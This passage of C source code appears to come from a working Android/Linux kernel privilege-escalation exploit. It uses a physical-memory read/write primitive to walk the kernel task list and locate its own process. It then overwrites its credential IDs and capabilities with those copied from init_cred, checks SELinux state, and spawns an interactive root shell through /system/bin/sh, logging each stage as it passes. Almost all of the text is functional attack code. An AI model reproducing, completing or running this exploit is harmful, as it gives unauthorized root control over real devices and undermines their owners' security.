(!directory) return -1; while ((entry = readdir(directory))) { if (entry->d_name[0] == '.') continue; count++; } closedir(directory); return count; } static int no_child_processes(void) { struct sigaction action; int status; pid_t result; if (sigaction(SIGCHLD, NULL, &action) || action.sa_handler != SIG_DFL || (action.sa_flags & SA_NOCLDWAIT)) return -1; errno = 0; do { result = waitpid(-1, &status, WNOHANG); } while (result < 0 && errno == EINTR); return result < 0 && errno == ECHILD ? 0 : -1; } static int kernel_read_virtual(int bridge_fd, struct pipe_reclaim_probe *probe, const struct physical_layout *layout, uint64_t virtual_address, void *output, size_t length) { uint64_t physical_address; if (kernel_virtual_to_physical(layout, virtual_address, &physical_address)) return -1; return pipe_physical_read(bridge_fd, probe, layout, physical_address, output, length); } static int kernel_write_virtual(int bridge_fd, struct pipe_reclaim_probe *probe, const struct physical_layout *layout, uint64_t virtual_address, const void *input, size_t length) { uint64_t physical_address; if (kernel_virtual_to_physical(layout, virtual_address, &physical_address)) return -1; return pipe_physical_write(bridge_fd, probe, layout, physical_address, input, length); } struct cred_field_patch { size_t offset; size_t length; }; static const struct cred_field_patch cred_field_patches[] = { {DP_CRED_IDS_OFF, 8 * sizeof(uint32_t)}, {DP_CRED_SECUREBITS_OFF, sizeof(uint32_t)}, {DP_CRED_CAP_INHERITABLE_OFF, 5 * sizeof(uint64_t)}, }; static int read_stable_cred_bytes(int bridge_fd, struct pipe_reclaim_probe *probe, const struct physical_layout *layout, uint64_t cred, unsigned char output[DP_CRED_SIZE]) { unsigned char reads[DP_TASK_STABLE_READS][DP_CRED_SIZE]; for (int index = 0; index < DP_TASK_STABLE_READS; index++) { int result = kernel_read_virtual(bridge_fd, probe, layout, cred, reads[index], sizeof(reads[index])); if (result) return result; } for (int index = 1; index < DP_TASK_STABLE_READS; index++) { if (memcmp(reads[0] + sizeof(uint64_t), reads[index] + sizeof(uint64_t), DP_CRED_SIZE - sizeof(uint64_t))) return -1; } memcpy(output, reads[0], DP_CRED_SIZE); return 0; } static int read_stable_security_blob(int bridge_fd, struct pipe_reclaim_probe *probe, const struct physical_layout *layout, uint64_t address, unsigned char output[DP_SELINUX_CRED_SIZE]) { unsigned char reads[DP_TASK_STABLE_READS][DP_SELINUX_CRED_SIZE]; for (int index = 0; index < DP_TASK_STABLE_READS; index++) { int result = kernel_read_virtual(bridge_fd, probe, layout, address, reads[index], sizeof(reads[index])); if (result) return result; } for (int index = 1; index < DP_TASK_STABLE_READS; index++) { if (memcmp(reads[0], reads[index], sizeof(reads[0]))) return -1; } memcpy(output, reads[0], DP_SELINUX_CRED_SIZE); return 0; } static int cred_fields_equal(const unsigned char left[DP_CRED_SIZE], const unsigned char right[DP_CRED_SIZE]) { for (size_t index = 0; index < ARRAY_SIZE(cred_field_patches); index++) { const struct cred_field_patch *patch = &cred_field_patches[index]; if (memcmp(left + patch->offset, right + patch->offset, patch->length)) return 0; } return 1; } static int write_cred_fields(int bridge_fd, struct pipe_reclaim_probe *probe, const struct physical_layout *layout, uint64_t cred, const unsigned char desired[DP_CRED_SIZE]) { for (size_t index = 0; index < ARRAY_SIZE(cred_field_patches); index++) { const struct cred_field_patch *patch = &cred_field_patches[index]; int result = kernel_write_virtual(bridge_fd, probe, layout, cred + patch->offset, desired + patch->offset, patch->length); if (result) return result; } return 0; } static int verify_cred_fields(int bridge_fd, struct pipe_reclaim_probe *probe, const struct physical_layout *layout, uint64_t cred, const unsigned char expected[DP_CRED_SIZE]) { unsigned char observed[DP_CRED_SIZE]; int result = read_stable_cred_bytes(bridge_fd, probe, layout, cred, observed); if (result) return result; return cred_fields_equal(observed, expected) ? 0 : -1; } static int restore_cred_fields(int bridge_fd, struct pipe_reclaim_probe *probe, const struct physical_layout *layout, uint64_t cred, const unsigned char original[DP_CRED_SIZE]) { if (write_cred_fields(bridge_fd, probe, layout, cred, original) || verify_cred_fields(bridge_fd, probe, layout, cred, original)) return -2; return 0; } static int verify_task_cred_pair(int bridge_fd, struct pipe_reclaim_probe *probe, const struct physical_layout *layout, uint64_t task, uint64_t expected_real, uint64_t expected_subjective) { uint64_t pair[2]; if (DP_TASK_CRED_OFF != DP_TASK_REAL_CRED_OFF + sizeof(uint64_t)) return -1; for (int index = 0; index < DP_TASK_STABLE_READS; index++) { int result = kernel_read_virtual(bridge_fd, probe, layout, task + DP_TASK_REAL_CRED_OFF, pair, sizeof(pair)); if (result) return result; if (pair[0] != expected_real || pair[1] != expected_subjective) return -1; } return 0; } static int read_task_snapshot(int bridge_fd, struct pipe_reclaim_probe *probe, const struct physical_layout *layout, uint64_t raw_task, struct task_snapshot *snapshot) { unsigned char region[DP_TASK_SCAN_SIZE]; int result = kernel_read_virtual(bridge_fd, probe, layout, raw_task + DP_TASK_TASKS_OFF, region, sizeof(region)); if (result) return result; memset(snapshot, 0, sizeof(*snapshot)); snapshot->tasks_next = load_u64(region, 0); snapshot->pid = load_u32(region, DP_TASK_PID_OFF - DP_TASK_TASKS_OFF); snapshot->tgid = load_u32(region, DP_TASK_TGID_OFF - DP_TASK_TASKS_OFF); snapshot->group_leader = load_u64(region, DP_TASK_GROUP_LEADER_OFF - DP_TASK_TASKS_OFF); snapshot->real_cred = load_u64(region, DP_TASK_REAL_CRED_OFF - DP_TASK_TASKS_OFF); snapshot->cred = load_u64(region, DP_TASK_CRED_OFF - DP_TASK_TASKS_OFF); memcpy(snapshot->comm, region + DP_TASK_COMM_OFF - DP_TASK_TASKS_OFF, sizeof(snapshot->comm)); return 0; } static int read_stable_task_snapshot(int bridge_fd, struct pipe_reclaim_probe *probe, const struct physical_layout *layout, uint64_t raw_task, struct task_snapshot *snapshot) { struct task_snapshot reads[DP_TASK_STABLE_READS]; for (int index = 0; index < DP_TASK_STABLE_READS; index++) { int result = read_task_snapshot(bridge_fd, probe, layout, raw_task, &reads[index]); if (result) return result; } for (int index = 1; index < DP_TASK_STABLE_READS; index++) { if (memcmp(&reads[0], &reads[index], sizeof(reads[0]))) return -1; } *snapshot = reads[0]; return 0; } static int remember_task(struct visited_task *visited, uint64_t raw_task, uint64_t untagged_task) { uint64_t pointer = untagged_task >> 6; pointer ^= pointer >> 30; pointer *= UINT64_C(0xbf58476d1ce4e5b9); pointer ^= pointer >> 27; size_t slot = (size_t)pointer & (DP_VISITED_CAP - 1); for (size_t probes = 0; probes < DP_VISITED_CAP; probes++) { struct visited_task *entry = &visited[(slot + probes) & (DP_VISITED_CAP - 1)]; if (!entry->untagged) { entry->untagged = untagged_task; entry->raw = raw_task; return 0; } if (entry->untagged == untagged_task) return -1; } return -1; } static int task_node_to_raw_task(uint64_t raw_node, uint64_t *raw_task, uint64_t *untagged_task) { uint64_t candidate = raw_node - DP_TASK_TASKS_OFF; uint64_t node = untag_kernel_pointer(raw_node); uint64_t task = untag_kernel_pointer(candidate); if (candidate + DP_TASK_TASKS_OFF != raw_node || node < DP_TASK_TASKS_OFF || task != node - DP_TASK_TASKS_OFF || task < DIRECT_MAP_BEGIN || task > DIRECT_MAP_END - (DP_TASK_COMM_OFF + DP_TASK_COMM_LEN) || (task & UINT64_C(0x3f))) return -1; *raw_task = candidate; *untagged_task = task; return 0; } static int scan_task_once(int bridge_fd, struct pipe_reclaim_probe *probe, const struct physical_layout *layout, struct visited_task *visited, pid_t target_pid, const char target_comm[DP_TASK_COMM_LEN], int pass, struct task_match *match) { uint64_t init_task = LINK_INIT_TASK + kernel_slide; uint64_t head = init_task + DP_TASK_TASKS_OFF; struct task_snapshot init_snapshot; uint64_t raw_node; size_t nodes = 0; int matches = 0; memset(visited, 0, DP_VISITED_CAP * sizeof(*visited)); memset(match, 0, sizeof(*match)); { int result = read_stable_task_snapshot(bridge_fd, probe, layout, init_task, &init_snapshot); if (result) return result; } if (init_snapshot.pid || init_snapshot.tgid || init_snapshot.group_leader != init_task || init_snapshot.real_cred != LINK_INIT_CRED + kernel_slide || init_snapshot.cred != LINK_INIT_CRED + kernel_slide || memcmp(init_snapshot.comm, "swapper/0", sizeof("swapper/0")) || !init_snapshot.tasks_next) return -1; raw_node = init_snapshot.tasks_next; while (raw_node != head) { struct task_snapshot snapshot; uint64_t raw_task; uint64_t task; int result; if (nodes >= DP_TASK_SCAN_LIMIT || task_node_to_raw_task(raw_node, &raw_task, &task) || remember_task(visited, raw_task, task)) return -1; result = read_stable_task_snapshot(bridge_fd, probe, layout, raw_task, &snapshot); if (result) return result; if (!snapshot.pid || snapshot.pid != snapshot.tgid || snapshot.group_leader != raw_task || !snapshot.real_cred || !snapshot.cred || !memchr(snapshot.comm, '\0', sizeof(snapshot.comm)) || !snapshot.tasks_next) return -1; nodes++; if (snapshot.pid == (uint32_t)target_pid && snapshot.tgid == (uint32_t)target_pid && !memcmp(snapshot.comm, target_comm, sizeof(snapshot.comm))) { matches++; match->raw_task = raw_task; match->snapshot = snapshot; } raw_node = snapshot.tasks_next; } if (!nodes || matches != 1) return -1; match->nodes = nodes; printf("TASK_SCAN_CLOSED pass=%d nodes=%zu matches=%d pid=%d\n", pass, nodes, matches, target_pid); return 0; } static int find_task_stable(int bridge_fd, struct pipe_reclaim_probe *probe, const struct physical_layout *layout, pid_t target_pid, const char target_comm[DP_TASK_COMM_LEN], const char *role, struct task_match *match) { struct visited_task *visited = calloc(DP_VISITED_CAP, sizeof(*visited)); struct timespec delay = {.tv_nsec = 1000000}; if (!visited) return -1; for (int retry = 0; retry < DP_TASK_SCAN_RETRIES; retry++) { struct task_match passes[DP_TASK_SCAN_PASSES]; int completed = 1; for (int pass = 0; pass < DP_TASK_SCAN_PASSES; pass++) { int result = scan_task_once(bridge_fd, probe, layout, visited, target_pid, target_comm, pass + 1, &passes[pass]); if (result == -2) return -2; if (result || (pass && (passes[0].raw_task != passes[pass].raw_task || passes[0].snapshot.pid != passes[pass].snapshot.pid || passes[0].snapshot.tgid != passes[pass].snapshot.tgid || passes[0].snapshot.group_leader != passes[pass].snapshot.group_leader || passes[0].snapshot.real_cred != passes[pass].snapshot.real_cred || passes[0].snapshot.cred != passes[pass].snapshot.cred || memcmp(passes[0].snapshot.comm, passes[pass].snapshot.comm, sizeof(passes[0].snapshot.comm))))) { completed = 0; break; } } if (completed) { *match = passes[0]; free(visited); printf("TASK_TAG_GATE_PASS role=%s raw=%#llx untagged=%#llx " "group_leader=%#llx\n", role, (unsigned long long)match->raw_task, (unsigned long long)untag_kernel_pointer(match->raw_task), (unsigned long long)match->snapshot.group_leader); printf("STAGE8_TASK_FIND_PASS role=%s pid=%d tgid=%u " "task=%#llx snapshots=%d passes=%d\n", role, target_pid, match->snapshot.tgid, (unsigned long long)match->raw_task, DP_TASK_STABLE_READS, DP_TASK_SCAN_PASSES); return 0; } nanosleep(&delay, NULL); } free(visited); printf("TASK_SCAN_FAIL role=%s retries=%d pid=%d\n", role, DP_TASK_SCAN_RETRIES, target_pid); return -1; } static int validate_init_task_layout(int bridge_fd, struct pipe_reclaim_probe *probe, const struct physical_layout *layout) { struct task_snapshot snapshot; uint64_t init_task = LINK_INIT_TASK + kernel_slide; uint64_t raw_task; uint64_t task; int result = read_stable_task_snapshot(bridge_fd, probe, layout, init_task, &snapshot); if (result) return result; if (snapshot.pid || snapshot.tgid || snapshot.group_leader != init_task || snapshot.real_cred != LINK_INIT_CRED + kernel_slide || snapshot.cred != LINK_INIT_CRED + kernel_slide || memcmp(snapshot.comm, "swapper/0", sizeof("swapper/0")) || task_node_to_raw_task(snapshot.tasks_next, &raw_task, &task)) return -1; printf("TASK_LAYOUT_GATE_PASS init_task=%#llx init_cred=%#llx " "first=%#llx\n", (unsigned long long)init_task, (unsigned long long)snapshot.cred, (unsigned long long)raw_task); return 0; } static int validate_kernel_root_cred(int bridge_fd, struct pipe_reclaim_probe *probe, const struct physical_layout *layout, uint64_t cred_address, const char *role, const unsigned char *expected_selinux, struct kernel_root_cred_identity *identity) { unsigned char reads[DP_TASK_STABLE_READS][DP_CRED_SIZE]; unsigned char security_reads[DP_TASK_STABLE_READS][DP_SELINUX_CRED_SIZE]; int32_t lsm_offset; uint64_t usage; uint64_t minimum_usage = UINT64_MAX; uint64_t security; uint64_t untagged_cred = untag_kernel_pointer(cred_address); uint32_t osid; uint32_t sid; memset(identity, 0, sizeof(*identity)); if ((cred_address != LINK_INIT_CRED + kernel_slide && (untagged_cred < DIRECT_MAP_BEGIN || untagged_cred >= DIRECT_MAP_END)) || (untagged_cred & 7)) return -1; for (int index = 0; index < DP_TASK_STABLE_READS; index++) { int result = kernel_read_virtual(bridge_fd, probe, layout, cred_address, reads[index], sizeof(reads[index])); if (result) return result; } for (int index = 0; index < DP_TASK_STABLE_READS; index++) { uint64_t observed_usage = load_u64(reads[index], DP_CRED_USAGE_OFF); if (!observed_usage || observed_usage > UINT64_C(0x10000000)) return -1; if (observed_usage < minimum_usage) minimum_usage = observed_usage; } for (int index = 1; index < DP_TASK_STABLE_READS; index++) { if (memcmp(reads[0] + sizeof(uint64_t), reads[index] + sizeof(uint64_t), sizeof(reads[0]) - sizeof(uint64_t))) return -1; } usage = minimum_usage; security = load_u64(reads[0], DP_CRED_SECURITY_OFF); if (!security || load_u32(reads[0], DP_CRED_SECUREBITS_OFF) || load_u64(reads[0], DP_CRED_CAP_INHERITABLE_OFF) || load_u64(reads[0], DP_CRED_CAP_PERMITTED_OFF) != DP_FULL_CAP_MASK || load_u64(reads[0], DP_CRED_CAP_EFFECTIVE_OFF) != DP_FULL_CAP_MASK || load_u64(reads[0], DP_CRED_CAP_BSET_OFF) != DP_FULL_CAP_MASK || load_u64(reads[0], DP_CRED_CAP_AMBIENT_OFF) || !load_u64(reads[0], DP_CRED_USER_OFF) || !load_u64(reads[0], DP_CRED_USER_NS_OFF) || !load_u64(reads[0], DP_CRED_UCOUNTS_OFF) || !load_u64(reads[0], DP_CRED_GROUP_INFO_OFF)) return -1; for (int id = 0; id < 8; id++) { if (load_u32(reads[0], DP_CRED_IDS_OFF + (size_t)id * 4)) return -1; } { int result = kernel_read_virtual(bridge_fd, probe, layout, LINK_SELINUX_BLOB_SIZES + kernel_slide, &lsm_offset, sizeof(lsm_offset)); if (result) return result; } if (lsm_offset < 0 || lsm_offset > 4096 || (lsm_offset & 7)) return -1; for (int index = 0; index < DP_TASK_STABLE_READS; index++) { int result = kernel_read_virtual(bridge_fd, probe, layout, security + (uint32_t)lsm_offset, security_reads[index], sizeof(security_reads[index])); if (result) return result; } for (int index = 1; index < DP_TASK_STABLE_READS; index++) { if (memcmp(security_reads[0], security_reads[index], sizeof(security_reads[0]))) return -1; } osid = load_u32(security_reads[0], 0); sid = load_u32(security_reads[0], 4); if (expected_selinux) { if (memcmp(security_reads[0], expected_selinux, sizeof(security_reads[0]))) return -1; } else { if (osid != 1 || sid != 1) return -1; for (int id = 2; id < DP_SELINUX_CRED_SIZE / (int)sizeof(uint32_t); id++) { if (load_u32(security_reads[0], (size_t)id * sizeof(uint32_t))) return -1; } } identity->usage = usage; identity->security = security + (uint32_t)lsm_offset; identity->user = load_u64(reads[0], DP_CRED_USER_OFF); identity->user_ns = load_u64(reads[0], DP_CRED_USER_NS_OFF); identity->ucounts = load_u64(reads[0], DP_CRED_UCOUNTS_OFF); identity->group_info = load_u64(reads[0], DP_CRED_GROUP_INFO_OFF); memcpy(identity->selinux, security_reads[0], sizeof(identity->selinux)); printf("CRED_LAYOUT_GATE_PASS role=%s cred=%#llx usage=%llu " "security=%#llx lsm_offset=%d osid=%u sid=%u\n", role, (unsigned long long)cred_address, (unsigned long long)usage, (unsigned long long)identity->security, lsm_offset, osid, sid); return 0; } static int wait_atomic_set(atomic_int *value, int timeout_ms) { struct timespec now; struct timespec delay = {.tv_nsec = 1000000}; long long deadline; if (clock_gettime(CLOCK_MONOTONIC, &now)) return -1; deadline = (long long)now.tv_sec * 1000000000LL + now.tv_nsec + (long long)timeout_ms * 1000000LL; while (!atomic_load_explicit(value, memory_order_acquire)) { if (clock_gettime(CLOCK_MONOTONIC, &now)) return -1; if ((long long)now.tv_sec * 1000000000LL + now.tv_nsec >= deadline) return -1; nanosleep(&delay, NULL); } return 0; } static void fill_root_child_report(struct root_child_report *report) { struct user_security_state state; memset(report, 0, sizeof(*report)); if (capture_credential_syscall_state(&state)) { report->capture_result = -1; report->magic = NEBUSEC_MAGIC; return; } report->pid = state.local_pid; report->uid = state.uid; report->euid = state.euid; report->suid = state.suid; report->fsuid = state.fsuid; report->gid = state.gid; report->egid = state.egid; report->sgid = state.sgid; report->fsgid = state.fsgid; report->group_count = state.group_count; memcpy(report->groups, state.groups, (size_t)state.group_count * sizeof(report->groups[0])); report->cap_inheritable = state.cap_inheritable; report->cap_permitted = state.cap_permitted; report->cap_effective = state.cap_effective; report->cap_bounding = state.cap_bounding; report->cap_ambient = state.cap_ambient; report->securebits = state.securebits; report->no_new_privs = state.no_new_privs; report->seccomp = state.seccomp; report->capture_result = 0; report->magic = NEBUSEC_MAGIC; } static int validate_root_child_report(const struct root_child_report *report, pid_t child, const struct user_security_state *baseline) { return report->magic == NEBUSEC_MAGIC && report->pid == child && !report->uid && !report->euid && !report->suid && !report->fsuid && !report->gid && !report->egid && !report->sgid && !report->fsgid && report->group_count == baseline->group_count && !memcmp(report->groups, baseline->groups, (size_t)report->group_count * sizeof(report->groups[0])) && !report->cap_inheritable && report->cap_permitted == DP_FULL_CAP_MASK && report->cap_effective == DP_FULL_CAP_MASK && report->cap_bounding == DP_FULL_CAP_MASK && !report->cap_ambient && !report->securebits && !report->no_new_privs && !report->seccomp && baseline->global_pid == baseline->local_pid && baseline->nspid_depth == 1 && !baseline->no_new_privs && !baseline->seccomp && !report->capture_result; } static int run_stage8_root_probe(int reader_fd, struct pipe_reclaim_probe *probe) { struct physical_layout layout; struct user_security_state baseline = {0}; struct user_security_state renewed = {0}; struct user_security_state staged_user = {0}; struct root_shared_state *shared = MAP_FAILED; struct kernel_root_cred_identity init_identity; struct kernel_root_cred_identity child_identity; struct task_match pre_renew_match; struct task_match parent_match; struct task_match child_match; unsigned char init_bytes[DP_CRED_SIZE]; unsigned char original_cred[DP_CRED_SIZE]; unsigned char staged_cred[DP_CRED_SIZE]; unsigned char child_cred[DP_CRED_SIZE]; unsigned char shell_selinux[DP_SELINUX_CRED_SIZE]; unsigned char observed_selinux[DP_SELINUX_CRED_SIZE]; char old_comm[DP_TASK_COMM_LEN]; char marker[DP_TASK_COMM_LEN]; char observed_comm[DP_TASK_COMM_LEN]; uint32_t random_value; uint64_t init_cred = LINK_INIT_CRED + kernel_slide; uint8_t selinux_state; sigset_t all_signals; sigset_t old_signals; pid_t child = -1; int child_status = 0; int signals_blocked = 0; int comm_changed = 0; int cred_dirty = 0; if (probe->meta_state != PIPE_META_NATIVE) return -2; if (load_physical_layout(reader_fd, &layout) || capture_user_security_state(&baseline) || !shell_security_gate(&baseline) || getpid() != syscall(SYS_gettid) || count_self_threads() != 1 || no_child_processes()) { printf("STAGE8_ENV_GATE_FAIL uid=%u context=%s enforcing=%d " "threads=%d local_pid=%d global_pid=%d depth=%d nnp=%d " "seccomp=%d errno=%d\n", baseline.uid, baseline.context, baseline.enforcing, count_self_threads(), baseline.local_pid, baseline.global_pid, baseline.nspid_depth, baseline.no_new_privs, baseline.seccomp, errno); goto out; } printf("STAGE8_ENV_GATE_PASS uid=%u context=%s enforcing=%d threads=1 " "local_pid=%d global_pid=%d depth=%d nnp=%d seccomp=%d\n", baseline.uid, baseline.context, baseline.enforcing, baseline.local_pid, baseline.global_pid, baseline.nspid_depth, baseline.no_new_privs, baseline.seccomp); if (prctl(PR_GET_NAME, old_comm) || syscall(SYS_getrandom, &random_value, sizeof(random_value), 0) != sizeof(random_value)) goto out; memset(marker, 0, sizeof(marker)); if (snprintf(marker, sizeof(marker), "dp8-%08x", random_value) <= 0 || prctl(PR_SET_NAME, marker) || prctl(PR_GET_NAME, observed_comm) || memcmp(marker, observed_comm, sizeof(marker))) goto out; comm_changed = 1; { int result = validate_init_task_layout(reader_fd, probe, &layout); if (result == -2) return -2; if (result) goto out; } { int result = validate_kernel_root_cred(reader_fd, probe, &layout, init_cred, "init", NULL, &init_identity); if (result == -2) return -2; if (result || !init_identity.security || !init_identity.usage) goto out; } uint32_t selinux_offset; { uint64_t raw_init_security; int result = read_stable_cred_bytes(reader_fd, probe, &layout, init_cred, init_bytes); if (result == -2) return -2; if (result) goto out; raw_init_security = load_u64(init_bytes, DP_CRED_SECURITY_OFF); if (init_identity.security < raw_init_security || init_identity.security - raw_init_security > 4096 || ((init_identity.security - raw_init_security) & 7)) goto out; selinux_offset = (uint32_t)(init_identity.security - raw_init_security); } { int result = kernel_read_virtual(reader_fd, probe, &layout, LINK_SELINUX_STATE + kernel_slide, &selinux_state, sizeof(selinux_state)); if (result == -2) return -2; if (result || selinux_state != 1) goto out; } { int result = find_task_stable(reader_fd, probe, &layout, baseline.global_pid, marker, "parent-pre-renew", &pre_renew_match); if (result == -2) return -2; if (result) goto out; } uint64_t pre_renew_cred = pre_renew_match.snapshot.cred; if (pre_renew_cred != pre_renew_match.snapshot.real_cred || pre_renew_cred == init_cred || renew_identical_cred(&baseline) || capture_user_security_state(&renewed) || !user_security_state_equal(&baseline, &renewed)) goto out; { int result = find_task_stable(reader_fd, probe, &layout, baseline.global_pid, marker, "parent", &parent_match); if (result == -2) return -2; if (result) goto out; } uint64_t parent_cred = parent_match.snapshot.cred; if (parent_match.raw_task != pre_renew_match.raw_task || parent_cred != parent_match.snapshot.real_cred || parent_cred == pre_renew_cred || parent_cred == init_cred || untag_kernel_pointer(parent_cred) < DIRECT_MAP_BEGIN || untag_kernel_pointer(parent_cred) >= DIRECT_MAP_END || ((parent_match.raw_task + DP_TASK_CRED_OFF) & 7)) goto out; { int result = read_stable_cred_bytes(reader_fd, probe, &layout, parent_cred, original_cred); if (result == -2) return -2; if (result) goto out; } uint64_t parent_security = load_u64(original_cred, DP_CRED_SECURITY_OFF); if (parent_security > UINT64_MAX - selinux_offset) goto out; parent_security += selinux_offset; if (untag_kernel_pointer(parent_security) < DIRECT_MAP_BEGIN || untag_kernel_pointer(parent_security) >= DIRECT_MAP_END || (untag_kernel_pointer(parent_security) & 7)) goto out; { int result = read_stable_security_blob(reader_fd, probe, &layout, parent_security, shell_selinux); if (result == -2) return -2; if (result || !memcmp(shell_selinux, init_identity.selinux, sizeof(shell_selinux))) goto out; } memcpy(staged_cred, original_cred, sizeof(staged_cred)); for (size_t patch_index = 0; patch_index < ARRAY_SIZE(cred_field_patches); patch_index++) { const struct cred_field_patch *patch = &cred_field_patches[patch_index]; memcpy(staged_cred + patch->offset, init_bytes + patch->offset, patch->length); } if (load_u64(staged_cred, DP_CRED_SECURITY_OFF) != load_u64(original_cred, DP_CRED_SECURITY_OFF) || load_u64(staged_cred, DP_CRED_USER_OFF) != load_u64(original_cred, DP_CRED_USER_OFF) || load_u64(staged_cred, DP_CRED_USER_NS_OFF) != load_u64(original_cred, DP_CRED_USER_NS_OFF) || load_u64(staged_cred, DP_CRED_UCOUNTS_OFF) != load_u64(original_cred, DP_CRED_UCOUNTS_OFF) || load_u64(staged_cred, DP_CRED_GROUP_INFO_OFF) != load_u64(original_cred, DP_CRED_GROUP_INFO_OFF) || load_u64(staged_cred, DP_CRED_USER_NS_OFF) != init_identity.user_ns) goto out; printf("STAGE8_CRED_RENEW_PASS task=%#llx old=%#llx private=%#llx " "security=%#llx\n", (unsigned long long)parent_match.raw_task, (unsigned long long)pre_renew_cred, (unsigned long long)parent_cred, (unsigned long long)parent_security); shared = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (shared == MAP_FAILED) goto out; memset(shared, 0, 0x1000); atomic_init(&shared->child_fds_closed, 0); atomic_init(&shared->child_security_ready, 0); atomic_init(&shared->child_ready, 0); atomic_init(&shared->child_shell_go, 0); { int result = verify_task_cred_pair(reader_fd, probe, &layout, parent_match.raw_task, parent_cred, parent_cred); if (result == -2) return -2; if (result) goto out; } printf("STAGE8_CRED_TARGET_GATE_PASS task=%#llx cred=%#llx reads=%d\n", (unsigned long long)parent_match.raw_task, (unsigned long long)parent_cred, DP_TASK_STABLE_READS); sigfillset(&all_signals); if (pthread_sigmask(SIG_SETMASK, &all_signals, &old_signals)) goto out; signals_blocked = 1; cred_dirty = 1; { int result = write_cred_fields(reader_fd, probe, &layout, parent_cred, staged_cred); if (result) { if (result == -2 || result == -3) hold_cred_unknown(); if (restore_cred_fields(reader_fd, probe, &layout, parent_cred, original_cred)) hold_cred_unknown(); cred_dirty = 0; printf("STAGE8_CRED_STAGE_FAIL restored=1 stage=write " "result=%d\n", result); goto out; } } { int result = verify_cred_fields(reader_fd, probe, &layout, parent_cred, staged_cred); if (result) { if (result == -2) hold_cred_unknown(); if (restore_cred_fields(reader_fd, probe, &layout, parent_cred, original_cred)) hold_cred_unknown(); cred_dirty = 0; printf("STAGE8_CRED_STAGE_FAIL restored=1 stage=verify " "result=%d\n", result); goto out; } } if (capture_user_security_state(&staged_user) || !root_shell_security_gate(&staged_user, &baseline)) { if (restore_cred_fields(reader_fd, probe, &layout, parent_cred, original_cred)) hold_cred_unknown(); cred_dirty = 0; printf("STAGE8_CRED_STAGE_FAIL restored=1 stage=user_gate " "uid=%u context=%s\n", staged_user.uid, staged_user.context); goto out; } child = syscall(SYS_clone, SIGCHLD, 0, NULL, NULL, 0); if (!child) { int close_result; if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) || syscall(SYS_getppid) != baseline.local_pid) _exit(1); close_result = syscall(SYS_close_range, STDERR_FILENO + 1, ~0U, 0U) ? -1 : 0; atomic_store_explicit(&shared->child_fds_closed, close_result ? -1 : 1, memory_order_release); while (!atomic_load_explicit(&shared->child_security_ready, memory_order_acquire)) cpu_relax(); fill_root_child_report(&shared->report); atomic_store_explicit(&shared->child_ready, 1, memory_order_release); while (!atomic_load_explicit(&shared->child_shell_go, memory_order_acquire)) cpu_relax(); if (pthread_sigmask(SIG_SETMASK, &old_signals, NULL)) { dprintf(STDERR_FILENO, "\033[1;31m[-]\033[0m child signal restore failed\n"); _exit(126); } dprintf(STDOUT_FILENO, "\033[1;34m[*]\033[0m interactive root child; exit to finish\n"); execl("/system/bin/sh", "sh", "-i", NULL); dprintf(STDERR_FILENO, "\033[1;31m[-]\033[0m exec /system/bin/sh failed: %s\n", strerror(errno)); _exit(127); } printf("STAGE8_CRED_STAGE_PASS task=%#llx cred=%#llx uid=0 " "context=%s\n", (unsigned long long)parent_match.raw_task, (unsigned long long)parent_cred, staged_user.context); if (child < 0) goto out; if (wait_atomic_set(&shared->child_fds_closed, 5000)) { printf("STAGE8_CHILD_FAIL stage=fd_close_timeout\n"); goto release_child; } if (atomic_load_explicit(&shared->child_fds_closed, memory_order_acquire) != 1) { printf("STAGE8_CHILD_FAIL stage=close_range\n"); goto release_child; } { int result = find_task_stable(reader_fd, probe, &layout, child, marker, "child", &child_match); if (result == -2) hold_cred_unknown(); if (result) goto release_child; } if (child_match.snapshot.cred != child_match.snapshot.real_cred || child_match.snapshot.cred == parent_cred || child_match.snapshot.cred == init_cred) goto release_child; { int result = read_stable_cred_bytes(reader_fd, probe, &layout, child_match.snapshot.cred, child_cred); if (result == -2) hold_cred_unknown(); if (result || !cred_fields_equal(child_cred, staged_cred) || load_u64(child_cred, DP_CRED_USER_OFF) != load_u64(original_cred, DP_CRED_USER_OFF) || load_u64(child_cred, DP_CRED_USER_NS_OFF) != load_u64(original_cred, DP_CRED_USER_NS_OFF) || load_u64(child_cred, DP_CRED_UCOUNTS_OFF) != load_u64(original_cred, DP_CRED_UCOUNTS_OFF) || load_u64(child_cred, DP_CRED_GROUP_INFO_OFF) != load_u64(original_cred, DP_CRED_GROUP_INFO_OFF)) goto release_child; } uint64_t child_security = load_u64(child_cred, DP_CRED_SECURITY_OFF); if (child_security > UINT64_MAX - selinux_offset) goto release_child; child_security += selinux_offset; if (child_security == parent_security || child_security == init_identity.security || untag_kernel_pointer(child_security) < DIRECT_MAP_BEGIN || untag_kernel_pointer(child_security) >= DIRECT_MAP_END || (untag_kernel_pointer(child_security) & 7)) goto release_child; { int result = read_stable_security_blob(reader_fd, probe, &layout, child_security, observed_selinux); if (result == -2) hold_cred_unknown(); if (result || memcmp(observed_selinux, shell_selinux, sizeof(shell_selinux))) goto release_child; } printf("STAGE8_CHILD_CLONE_CRED_PASS cred=%#llx security=%#llx " "groups=%d fds_closed=nonstdio context=shell\n", (unsigned long long)child_match.snapshot.cred, (unsigned long long)child_security, baseline.group_count); printf("STAGE8_CHILD_SECURITY_PASS security=%#llx context=shell " "unchanged=1 fds_closed=nonstdio\n", (unsigned long long)child_security); atomic_store_explicit(&shared->child_security_ready, 1, memory_order_release); if (wait_atomic_set(&shared->child_ready, 5000)) { printf("STAGE8_CHILD_FAIL stage=report_timeout\n"); goto release_child; } if (!validate_root_child_report(&shared->report, child, &baseline)) { printf("STAGE8_CHILD_FAIL stage=userland uid=%u euid=%u " "caps=%#llx capture_result=%d\n", shared->report.uid, shared->report.euid, (unsigned long long)shared->report.cap_effective, shared->report.capture_result); goto release_child; } printf("STAGE8_CHILD_USERLAND_PASS uid=0 gid=0 groups=%d caps=%#llx\n", shared->report.group_count, (unsigned long long)shared->report.cap_effective); { int result = validate_kernel_root_cred(reader_fd, probe, &layout, child_match.snapshot.cred, "child", shell_selinux, &child_identity); if (result == -2) hold_cred_unknown(); if (result || child_identity.usage < 2 || child_identity.security != child_security || child_identity.user != load_u64(original_cred, DP_CRED_USER_OFF) || child_identity.user_ns != init_identity.user_ns || child_identity.ucounts != load_u64(original_cred, DP_CRED_UCOUNTS_OFF) || child_identity.group_info != load_u64(child_cred, DP_CRED_GROUP_INFO_OFF)) goto release_child; } 